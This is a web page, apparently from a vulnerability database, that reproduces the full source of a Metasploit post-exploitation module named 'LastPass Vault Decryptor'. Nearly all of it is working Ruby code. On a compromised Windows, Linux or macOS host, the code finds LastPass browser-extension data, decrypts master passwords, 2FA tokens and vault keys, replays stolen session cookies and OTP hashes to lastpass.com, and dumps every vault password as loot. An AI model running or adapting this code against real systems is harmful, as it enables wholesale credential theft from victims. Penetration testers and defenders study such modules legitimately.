Lucene search
K

LastPass Vault Decryptor

Module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
require 'sqlite3'
require 'uri'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::OSX::System
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LastPass Vault Decryptor',
        'Description' => %q{
          This module extracts and decrypts LastPass master login accounts and passwords,
          encryption keys, 2FA tokens and all the vault passwords
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
          'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
          'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
        ],
        'Platform' => %w[linux osx unix win],
        'References' => [
          [ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
        ],
        'SessionTypes' => %w[meterpreter shell],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_registry_open_key
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  def run
    if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
      print_error 'Shell sessions on Windows are not supported'
      return
    end

    print_status 'Searching for LastPass databases'

    account_map = build_account_map
    if account_map.empty?
      print_status 'No databases found'
      return
    end

    print_status 'Extracting credentials'
    extract_credentials(account_map)

    print_status 'Extracting 2FA tokens'
    extract_2fa_tokens(account_map)

    print_status 'Extracting vault and iterations'
    extract_vault_and_iterations(account_map)

    print_status 'Extracting encryption keys'
    extract_vault_keys(account_map)

    print_lastpass_data(account_map)
  end

  # Returns a mapping of lastpass accounts
  def build_account_map
    profiles = user_profiles
    account_map = {}

    profiles.each do |user_profile|
      account = user_profile['UserName']
      browser_path_map = {}
      localstorage_path_map = {}
      cookies_path_map = {}

      case session.platform
      when 'windows'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
        }
        cookies_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
          'Firefox' => '', # It's set programmatically
          'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
        }
      when 'unix', 'linux'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
        }
        cookies_path_map = { # TODO
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
          'Firefox' => '', # It's set programmatically
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
        }
      when 'osx'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
          'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
          'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
        }
        cookies_path_map = { # TODO
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
          'Firefox' => '', # It's set programmatically
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
          'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
        }
      else
        print_error "Platform not recognized: #{session.platform}"
      end

      account_map[account] = {}
      browser_path_map.each_pair do |browser, path|
        account_map[account][browser] = {}
        db_paths = find_db_paths(path, browser, account)
        if db_paths && !db_paths.empty?
          account_map[account][browser]['lp_db_path'] = db_paths.first
          account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
          account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
          account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
        else
          account_map[account].delete(browser)
        end
      end
    end

    account_map
  end

  # Returns a list of DB paths found in the victims' machine
  def find_db_paths(path, browser, account)
    paths = []

    vprint_status "Checking #{account}'s #{browser}"
    if browser == 'IE' # Special case for IE
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
      paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
    elsif browser == 'Firefox' # Special case for Firefox
      paths |= firefox_profile_files(path)
    else
      paths |= file_paths(path)
    end

    vprint_good "Found #{paths.size} #{browser} databases for #{account}"
    paths
  end

  # Returns the relevant information from user profiles
  def user_profiles
    user_profiles = []
    case session.platform
    when /unix|linux/
      user_names = dir('/home')
      user_names.reject! { |u| %w[. ..].include?(u) }
      user_names.each do |user_name|
        user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
      end
    when /osx/
      user_names = session.shell_command('ls /Users').split
      user_names.reject! { |u| u == 'Shared' }
      user_names.each do |user_name|
        user_profiles.push(
          'UserName' => user_name,
          'AppData' => "/Users/#{user_name}/Library",
          'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
        )
      end
    when /windows/
      user_profiles |= grab_user_profiles
    else
      print_error "OS not recognized: #{session.platform}"
    end
    user_profiles
  end

  # Extracts the databases paths from the given folder ignoring . and ..
  def file_paths(path)
    found_dbs_paths = []

    files = []
    files = dir(path) if directory?(path)
    files.each do |file_path|
      unless %w[. .. Shared].include?(file_path)
        found_dbs_paths.push([path, file_path].join(system_separator))
      end
    end

    found_dbs_paths
  end

  # Returns the profile files for Firefox
  def firefox_profile_files(path)
    found_dbs_paths = []

    if directory?(path)
      files = dir(path)
      files.reject! { |file| %w[. ..].include?(file) }
      files.each do |file_path|
        found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
      end
    end

    [found_dbs_paths]
  end

  # Parses the Firefox preferences file and returns encoded credentials
  def ie_firefox_credentials(prefs_path, localstorage_db_path)
    credentials = []
    data = nil

    if prefs_path.nil? # IE
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
      return [] if data.blank?

      usernames = data.split('|')
      usernames.each do |username|
        credentials << [username, nil]
      end

      # Extract master passwords
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
      data = Rex::Text.encode_base64(data) unless data.blank?
    else # Firefox
      loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
      return [] unless loot_path

      File.readlines(loot_path).each do |line|
        next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line

        usernames = encoded_users.split('|')
        usernames.each do |username|
          credentials << [username, nil]
        end
        break
      end

      # Extract master passwords
      path = localstorage_db_path + system_separator + 'lp.loginpws'
      data = read_remote_file(path) if file?(path) # Read file if it exists
    end

    # Get encrypted master passwords
    data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
    return credentials if data.blank? # No passwords stored

    creds_per_user = data.split('|')
    creds_per_user.each_with_index do |user_creds, _index|
      parts = user_creds.split('=')
      for creds in credentials
        creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
      end
    end
    credentials
  end

  def decrypt_data(key, encrypted_data)
    return nil if encrypted_data.blank?

    if encrypted_data.include?('|') # Use CBC
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
      decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
      encrypted_data = encrypted_data[26..] # Take only the data part
    else # Use ECB
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
    end

    begin
      decipher.key = key
      decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
    rescue OpenSSL::Cipher::CipherError => e
      vprint_error "Data could not be decrypted. #{e.message}"
    end

    decrypted_data
  end

  def extract_credentials(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        account_map[account][browser]['lp_creds'] = {}
        if browser.match(/Firefox|IE/)
          if browser == 'Firefox'
            ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
          else # IE
            ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
          end
          unless ieffcreds.blank?
            ieffcreds.each do |creds|
              if creds[1].blank? # No master password found
                account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }
              else
                sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))
                sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
                creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))
                account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }
              end
            end
          end
        else # Chrome, Safari and Opera
          loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
          account_map[account][browser]['lp_db_loot'] = loot_path
          next if loot_path.blank?

          # Parsing/Querying the DB
          db = SQLite3::Database.new(loot_path)
          result = db.execute(
            'SELECT username, password FROM LastPassSavedLogins2 ' \
            "WHERE username IS NOT NULL AND username != '' " \
          )

          for row in result
            next unless row[0]

            sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
            sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
            row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
            account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
          end
        end
      end
    end
  end

  # Extracts the 2FA token from localStorage
  def extract_2fa_tokens(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        if browser.match(/Firefox|IE/)
          path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
          data = read_remote_file(path) if file?(path) # Read file if it exists
          data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
          loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
          account_map[account][browser]['lp_2fa'] = data
        else # Chrome, Safari and Opera
          loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
          unless loot_path.blank?
            db = SQLite3::Database.new(loot_path)
            token = db.execute(
              'SELECT hex(value) FROM ItemTable ' \
              "WHERE key = 'lp.uid';"
            ).flatten
          end
          token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
        end
      end
    end
  end

  # Print all extracted LastPass data
  def print_lastpass_data(account_map)
    lastpass_data_table = Rex::Text::Table.new(
      'Header' => 'LastPass Accounts',
      'Indent' => 1,
      'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
    )

    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |_browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, user_data|
          lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
        end
      end
    end

    unless account_map.empty?
      print_good lastpass_data_table.to_s
      loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
      print_vault_passwords(account_map)
    end
  end

  def extract_vault_and_iterations(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, _user_data|
          if browser.match(/Firefox|IE/)
            if browser == 'Firefox'
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
            else # IE
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
            end
            iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
            iterations = nil if iterations.blank? # Verify content
            lp_data['lp_creds'][username]['iterations'] = iterations

            # Find encrypted vault
            vault = read_remote_file(vault_path)
            vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
            vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
            loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
            lp_data['lp_creds'][username]['vault_loot'] = loot_path

          else # Chrome, Safari and Opera
            db = SQLite3::Database.new(lp_data['lp_db_loot'])
            result = db.execute(
              'SELECT data FROM LastPassData ' \
              "WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
            )

            if result.size == 1 && !result[0].blank?
              if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
                lp_data['lp_creds'][username]['iterations'] = iterations
              else
                lp_data['lp_creds'][username]['iterations'] = 1
              end
              loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
              lp_data['lp_creds'][username]['vault_loot'] = loot_path
            else
              lp_data['lp_creds'][username]['iterations'] = nil
              lp_data['lp_creds'][username]['vault_loot'] = nil
            end
          end
        end
      end
    end
  end

  def extract_vault_keys(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
        lp_data['lp_creds'].each_pair do |username, user_data|
          if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
            lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
          else # Get vault key decrypting the locally stored one or from the disabled OTP
            unless browser_checked
              decrypt_local_vault_key(account, browser_map)
              browser_checked = true
            end
            if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
              otpbin = extract_otpbin(browser, username, lp_data)
              otpbin.blank? ? next : otpbin = otpbin[0..31]

              lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
            end
          end
        end
      end
    end
  end

  # Decrypt the locally stored vault key
  def decrypt_local_vault_key(account, browser_map)
    data = nil
    session_cookie_value = nil

    browser_map.each_pair do |browser, lp_data|
      if browser == 'IE' && directory?(lp_data['cookies_db'])
        cookies_files = dir(lp_data['cookies_db'])
        cookies_files.reject! { |u| %w[. ..].include?(u) }
        cookies_files.each do |cookie_jar_file|
          data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
          next if data.blank?

          next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id

          loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
          session_cookie_value = session_cookie_value_match
          break
        end
      else
        case browser
        when /Chrome/
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
        when 'Opera'
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
        when 'Firefox'
          query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
        else
          vprint_error "Browser #{browser} not supported for cookies"
          next
        end
        # Parsing/Querying the DB
        loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
        next if loot_path.blank?

        db = SQLite3::Database.new(loot_path)
        begin
          result = db.execute(query)
        rescue SQLite3::SQLException => e
          vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
          next
        end
        next if result.blank? # No session cookie found for this browser

        session_cookie_value = result[0][0]
      end
      return if session_cookie_value.blank?

      # Check if cookie value needs to be decrypted
      if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
        session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
      elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
        begin
          decipher = OpenSSL::Cipher.new('AES-256-CBC')
          decipher.decrypt
          decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
          decipher.iv = ' ' * 16
          session_cookie_value = session_cookie_value[3..] # Discard v10
          session_cookie_value = decipher.update(session_cookie_value) + decipher.final
        rescue OpenSSL::Cipher::CipherError => e
          print_error "Cookie could not be decrypted. #{e.message}"
        end
      end

      # Use the cookie to obtain the encryption key to decrypt the vault key
      uri = URI('https://lastpass.com/login_check.php')
      request = Net::HTTP::Post.new(uri)
      request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
      request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
      response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }

      # Parse response
      next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired

      decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
      username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]

      # Get the local encrypted vault key
      encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)

      # Decrypt the local stored key
      lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
    end
  end

  # Returns otp, encrypted_key
  def extract_otpbin(browser, username, lp_data)
    if browser.match(/Firefox|IE/)
      if browser == 'Firefox'
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
      else # IE
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
      end
      otpbin = read_remote_file(path) if file?(path) # Read file if it exists
      otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
      return otpbin
    else # Chrome, Safari and Opera
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
      result = db.execute(
        'SELECT type, data FROM LastPassData ' \
        "WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
      )
      return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
    end
  end

  def derive_vault_key_from_creds(username, password, key_iteration_count)
    if key_iteration_count == 1
      key = Digest::SHA256.hexdigest username + password
    else
      key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
    end
    key
  end

  def decrypt_vault_key_with_otp(username, otpbin)
    vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
    encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
    decrypt_data(vault_key_decryption_key, encrypted_vault_key)
  end

  def retrieve_encrypted_vault_key_with_otp(username, otpbin)
    # Derive login hash from otp
    otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash

    # Make request to LastPass
    uri = URI('https://lastpass.com/otp.php')
    request = Net::HTTP::Post.new(uri)
    request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
    request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
    response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }

    # Parse response
    encrypted_vault_key = nil
    if response.body.match(/randkey="(.*)"/)
      encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
    end
    encrypted_vault_key
  end

  # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
  def lastpass_sha256(input)
    output = ''

    input = input.gsub("\r\n", "\n")

    input.each_byte do |e|
      if e < 128
        output += e.chr
      elsif (e > 127 && e < 2048)
        output += (e >> 6 | 192).chr
        output += (e & 63 | 128).chr
      else
        output += (e >> 12 | 224).chr
        output += (e >> 6 & 63 | 128).chr
      end
    end

    OpenSSL::Digest::SHA256.hexdigest(output)
  end

  def pbkdf2(password, salt, iterations, key_length)
    digest = OpenSSL::Digest.new('SHA256')
    OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
  end

  def windows_unprotect(data)
    data = Rex::Text.decode_base64(data)
    pid = session.sys.process.getpid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
    mem = process.memory.allocate(data.length + 200)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
      addr = [mem].pack('V')
      len = [data.length].pack('V')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret['pDataOut'].unpack('V2')
    else
      addr = Rex::Text.pack_int64le(mem)
      len = Rex::Text.pack_int64le(data.length)
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      pData = ret['pDataOut'].unpack('VVVV')
      len = pData[0] + (pData[1] << 32)
      addr = pData[2] + (pData[3] << 32)
    end

    return '' if len == 0

    process.memory.read(addr, len)
  end

  def print_vault_passwords(account_map)
    account_map.each_pair do |_account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, user_data|
          lastpass_vault_data_table = Rex::Text::Table.new(
            'Header' => "Decrypted vault from #{username}",
            'Indent' => 1,
            'Columns' => %w[URL Username Password]
          )
          if user_data['vault_loot'].nil? # Was a vault found?
            print_error "No vault was found for #{username}"
            next
          end
          encoded_vault = File.read(user_data['vault_loot'])
          if encoded_vault[0] == '!' # Vault is double encrypted
            encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
            if encoded_vault.blank?
              print_error "Vault from #{username} could not be decrypted"
              next
            else
              encoded_vault = encoded_vault.sub('LPB64', '')
            end
          end

          # Parse vault
          vault = Rex::Text.decode_base64(encoded_vault)
          vault.scan(/ACCT/) do |_result|
            chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
            chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
            account_data = parse_vault_account(chunk, user_data['vault_key'])
            lastpass_vault_data_table << account_data if !account_data.nil?
          end

          next if account_map.empty? # Loot passwords

          if lastpass_vault_data_table.rows.empty?
            print_status('No decrypted vaults.')
          else
            print_good lastpass_vault_data_table.to_s
          end
          loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
        end
      end
    end
  end

  def parse_vault_account(chunk, vault_key)
    pointer = 22 # Starting position to find data to decrypt
    labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
    vault_data = []
    for label in labels
      if chunk[pointer..pointer + 3].nil?
        # Out of bound read
        return nil
      end

      length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
      encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
      label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
      decrypted_data = '' if decrypted_data.nil?
      vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
      pointer = pointer + 4 + length
    end

    return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
  end

  def decrypt_vault_password(key, encrypted_data)
    return nil if key.blank? || encrypted_data.blank?

    if encrypted_data[0] == '!' # Apply CBC
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
      decipher.iv = encrypted_data[1, 16] # Discard !
      encrypted_data = encrypted_data[17..]
    else # Apply ECB
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
    end
    decipher.key = [key].pack 'H*'

    begin
      return decipher.update(encrypted_data) + decipher.final
    rescue OpenSSL::Cipher::CipherError
      vprint_error "Vault password could not be decrypted with key #{key}"
      return nil
    end
  end

  # Reads a remote file and loots it
  def loot_file(path, data, title, type, description)
    data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
    return nil if data.nil?

    loot_path = store_loot(
      title,
      type,
      session,
      data,
      nil,
      description
    )
    loot_path
  end

  # Reads a remote file and returns the data
  def read_remote_file(path)
    data = nil

    begin
      data = read_file(path)
    rescue EOFError
      vprint_error "Error reading file #{path} It could be empty"
    end
    data
  end

  def read_registry_key_value(key, value)
    begin
      root_key, base_key = session.sys.registry.splitkey(key)
      reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
      return nil unless reg_key

      reg_value = reg_key.query_value(value)
      return nil unless reg_value
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error("#{e.message} (#{key}\\#{value})")
    end
    reg_key.close if reg_key
    return reg_value.blank? ? nil : reg_value.data
  end

  def extract_local_encrypted_vault_key(browser, username, lp_data)
    if browser.match(/Firefox|IE/)
      encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
      encrypted_vault_key = read_remote_file(encrypted_key_path)
      encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
    else
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
      result = db.execute(
        'SELECT data FROM LastPassData ' \
        "WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
      )
      encrypted_vault_key = result[0][0]
    end

    return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
  end

  # Returns OS separator in a session type agnostic way
  def system_separator
    return session.platform == 'windows' ? '\\' : '/'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

